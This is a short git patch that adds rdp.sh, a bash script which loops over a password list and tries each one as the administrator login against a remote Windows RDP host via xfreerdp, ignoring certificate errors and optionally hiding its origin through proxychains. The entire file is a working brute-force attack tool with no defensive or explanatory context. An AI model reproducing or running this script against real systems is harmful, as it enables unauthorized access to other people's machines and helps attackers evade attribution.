From c9075f27ea5ef5c3c0a4be8af7204be8dd49f949 Mon Sep 17 00:00:00 2001 From: Brock <8274634@@qq.com> Date: Sat, 22 Nov 2014 21:33:24 -0500 Subject: [PATCH] rdp.sh --- rdp.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) create mode 100755 rdp.sh diff --git a/rdp.sh b/rdp.sh new file mode 100755 index 0000000..1e67e02 --- /dev/null +++ b/rdp.sh @@ -0,0 +1,12 @@ +#!/bin/bash -v + +cat data/password.txt | while read PWD +do + #echo proxychains xfreerdp /auth-only /cert-ignore /u:administrator /p:$PWD /v:$1 + if [[ $2 == 'proxy' ]]; then + proxychains xfreerdp /cert-ignore /u:administrator /p:$PWD /v:$1 + else + xfreerdp /cert-ignore /u:administrator /p:$PWD /v:$1 + fi +done +